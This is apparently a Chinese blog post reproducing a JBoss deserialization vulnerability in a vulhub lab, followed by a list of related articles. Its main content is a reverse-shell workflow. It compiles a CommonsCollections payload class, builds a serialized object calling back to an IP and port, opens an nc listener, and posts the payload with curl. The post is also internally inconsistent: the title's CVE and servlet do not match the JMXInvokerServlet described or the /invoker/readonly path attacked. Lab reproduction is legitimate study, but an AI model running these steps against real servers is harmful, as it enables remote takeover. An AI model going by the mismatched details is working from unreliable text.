JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

最新推荐文章于 2024-09-28 22:34:31 发布
最新推荐文章于 2024-09-28 22:34:31 发布
阅读量198 收藏
点赞数 2
文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_82061181/article/details/142464730
版权

环境

vulhub/jboss/JMXInvokerServlet-deserialization

复现

此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载

JMXInvokerServlet，则可能存在漏洞：

#创建class⽂件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHa
shMap.java
#创建反序列化⽂件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 123.57.211.129:6666
#监听 6666 端⼝
nc -lvvp 6666
#psot提交
curl http://123.57.211.129:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

云舒zovn
关注
JBossMQJMS 反序列化漏洞（CVE-2017-7504）漏洞利用工具
07-23
JBossMQJMS 反序列化漏洞（CVE-2017-7504）是针对企业级Java消息服务（JMS）提供商JBossMQ的一个严重安全问题。该漏洞源于应用程序未能正确处理反序列化的对象，使得攻击者可以通过精心构造的恶意输入触发任意代码...
Jboss Application Server反序列化命令执行漏洞利用工具（CVE-2017-12149）
07-23
在2017年，它被发现存在一个严重的安全漏洞，被称为CVE-2017-12149，这是一个反序列化漏洞，允许远程攻击者通过精心构造的输入来执行任意系统命令，从而对受影响的系统造成严重威胁。 反序列化是将已序列化的对象...
CVE-2017-12149JBOSSas6.X反序列化(反弹shell版)
08-08
【标题】"CVE-2017-12149 JBOSS AS 6.X 反序列化漏洞详解及反弹shell技术" 【内容】 CVE-2017-12149是一个针对JBOSS Application Server 6.x版本的严重安全漏洞，它涉及到了Java对象的反序列化过程。在Java中，反...
jboss-CVE-2017-12149
01-22
Jboss反序列化漏洞利用工具，CVE-2017-12149。Jboss反序列化漏洞利用工具，CVE-2017-12149。
JBOSS反序列化漏洞工具
03-28
通过JBOSS4 commons-collections.jar包的反序列化类InvokerTransformer, InstantiateFactory 和 InstantiateTransfromer class 文件可以远程操控服务器
探索光耦：隔离电压——光耦保障电路安全与性能的关键
forvevr的博客
09-25 681
在实际应用中，光耦的隔离电压应根据工作环境中的电压等级、电流负载和潜在的电压波动来选择。比如，对于高压电力设备，建议选择隔离电压较高的光耦，以应对突发的电压尖峰或电流浪涌。在现代电子设备和系统中，电气隔离是保障电路稳定运行和安全的重要环节，而光耦（光电耦合器）则是实现这种隔离的核心元件之一。具有较高隔离电压的光耦能在这些波动和干扰中，稳定地工作，确保系统运行的连续性和可靠性。光耦通过将不同电位的电路有效隔离，避免了跨电路间的电流回流对低压电路元件的损害，延长了设备的使用寿命。
【车联网安全】车端网络攻击及检测的框架/模型
#7的博客
09-24 1386
本文主要调研了车联网安全的一些攻击及检测的模型/框架，对国家标准进行了调研，并汇总上述调研内容。
【蚂蚁HR-注册/登录安全分析报告】
最新发布
09-28 572
蚂蚁社保是武汉微蚁企业服务有限公司旗下的网站，主要提供五险一金的代缴、补缴、社保开户、社保挂靠和社保代理服务。该平台主要覆盖一二线城市，目前已覆盖13+城市。蚂蚁社保的特点是高度自动化和在线化，创始人团队致力于通过程序和硬件替代所有可以自动化的环节，从而最大限度地减少人为错误，作为头部的社保代缴平台， 技术实力也应该不错，但采用的还是老一代的图形验证码已经落伍了， 用户体验一般，容易被破解， 一旦被国际黑客发起攻击，将会对老百姓形成骚扰，影响声誉。
个人计算机与网络的安全
nn_84的博客
09-24 332
关于 wifi 大家都知道 wifi 已经使用了 wpa3 非常安全 但很多人不知道 pin 和 wps 这两项有漏洞。种漏洞来控制用户电脑 老实说吧 默认用户仍然是管理员 像windows 是很容易得到最高权限的。关于 病毒 大家都知道中国 美国 俄罗斯 的黑客不断的在对抗 所以这病毒花样百出 所以系统用户。关于 国产的 linux 老实说全是漏洞 默认开启 很多服务 但初始化的设置都有漏洞。我发现很多用户都简单设置了这两项 他们的设置 使他们的网络出现了漏洞。
【注册/登录安全分析报告：孔夫子旧书网】
weixin_46641057的博客
09-27 1055
孔夫子网简称孔网，创建于2002年，是大型的二手旧货、古旧图书和商品交易平台，是传统文化行业结合互联网而搭建的C2C平台，是有传统文化价值的旧货市场。网站主要板块是书店区和拍卖区。网站秉承“网罗天下图书，传承中华文明”的理念，致力于发掘、抢救、保护和传播中国传统文化资源。作为旧古书二手市场平台的“独角兽”企业， 技术实力也应该不错，但采用的还是老一代的图形验证码已经落伍了， 用户体验一般，容易被破解， 一旦被国际黑客发起攻击，将会对老百姓形成骚扰，影响声誉。
浅谈软件安全开发的重要性及安全开发实践
esion23011的专栏
09-25 439
*制定安全开发可量化管理流程**：为了确保软件开发过程的安全性，企业应建立一套可量化、可追溯的安全开发管理流程。通过建立企业安全战略、制定安全开发管理流程、提高安全开发意识以及实施一系列安全开发实践措施，企业可以构建安全可靠的信息系统，为企业的持续发展和创新提供有力保障。**明确安全需求**：基于攻击面分析的结果，企业应明确软件系统的安全需求。**建立企业安全战略**：企业应根据国家法律法规要求、自身业务特点及软件应用系统的实际情况，制定符合自身需求的安全发展战略。#### 企业要怎么进行安全开发？
安卓开发中，可以反射去换肤，那么我们应该也可以使用反射去串改我们的程序，作为开发者，我们如何保证我们自己的应用的安全呢？
qq_43664361的博客
09-22 516
在安卓开发中，虽然反射提供了强大的动态操作能力，包括访问和修改类、接口、字段以及方法，但这也为潜在的恶意攻击者提供了篡改程序的可能性。作为开发者，我们需要采取一系列措施来确保自己应用的安全，防止反射被用于非法目的。
Spring Security 是一个强大的和高度可定制的身份验证和访问控制框架。它是 Spring 项目家族的一员，用于构建安全的 Java 应用程序。
weixin_64446270的博客
09-27 1170
Spring Security 是一个强大的和高度可定制的身份验证和访问控制框架。它是 Spring 项目家族的一员，用于构建安全的 Java 应用程序。Spring Security 提供了全面的安全服务，从基本的登录认证到复杂的访问控制，几乎涵盖了所有与安全相关的需求。
数据库的全透明加密和半透明加密主要是针对数据存储安全的不同处理方式
weixin_45699851的博客
09-25 283
对于应用程序来说，它处理的是密文，而加密过程和解密过程都是由数据库系统在后台自动完成的。这种模式下，开发者几乎察觉不到加密的存在，查询和操作的速度不会受到影响，因为大部分加密操作都在内存中快速完成。当数据被插入到数据库时，它会被加密，但对于读取数据的应用程序来说，它仍然能看到明文结果。这意味着应用程序需要知道如何处理加密后的数据，比如查询前先解密，然后对解密后的数据进行操作，再加密返回给客户端。这种方式牺牲了一些便利性，但可以提供更好的性能，因为它不需要每次查询都做完整的加密解密处理。
安全服务面试
m0_74402888的博客
09-28 345
内网的计算机可向 Internet 上的其他计算机发送连接请求，但 Internet 上其他。个列表中的 IP 进行 SYN+ACK 的重试。明白这种攻击的基本原理，还是要从 TCP 连接建立的过程开始说起：大家都知道，TCP 与。的 IP 地址，如果攻击者以数万/秒的速度发送 SYN 报文，同时利用 SOCK_RAW。Internet 上的计算机，但 Internet 上的计算机无法访问局域网内的计算机。内网的计算机以 NAT（网络地址转换）协议，通过一个公共的网关访问 Internet。
注册安全分析报告：人民卫生音像
Explinks的博客
09-25 681
人民卫生音像出版社，作为国家卫生健康委员会、中宣部、财政部、教育部等国家部委的领导下的官方企业， 采用的是通俗的滑动验证产品， 该产品稳定并且市场占有率很高， 在一定程度上提高了用户体验， 但安全性在机器学习的今天， 已经无法应对攻击了，并且正是由于该产品通俗， 所以在网上破解的文章和教学视频也是大量存在，并且经过验证滑动产品很容易被破解， 所以除了滑动验证方式， 花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
PingCastle：一款针对活动目录AD的安全强化工具
FreeBuf_的博客
09-24 770
PingCastle是一款针对活动目录AD的安全强化工具，可以帮助广大研究人员提升活动目录的安全性，该工具甚至可以做到在 20% 的时间内实现 80% 的AD安全性。
使用电脑当服务器，来组建局域网是否安全
KookeeyLena5的博客
09-25 317
使用电脑作为服务器来组建局域网（LAN）可以是一个经济实惠的解决方案，但其安全性取决于多个因素。
论文阅读 | 可证安全隐写（网络空间安全科学学报 2023）
2301_81845359的博客
09-22 1362
可证安全隐写追求载体质与载密质分布难以区分。典型的方法，即基于拒绝采样的两种构造方法——伪随机函数族、无偏函数；利用生成模型的分布生成能力，实现可证安全的隐写方法。
jboss反序列化漏洞
08-16
JBoss反序列化漏洞是指JBoss应用服务器中存在的一种安全漏洞，具体表现为Java反序列化错误类型。该漏洞存在于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值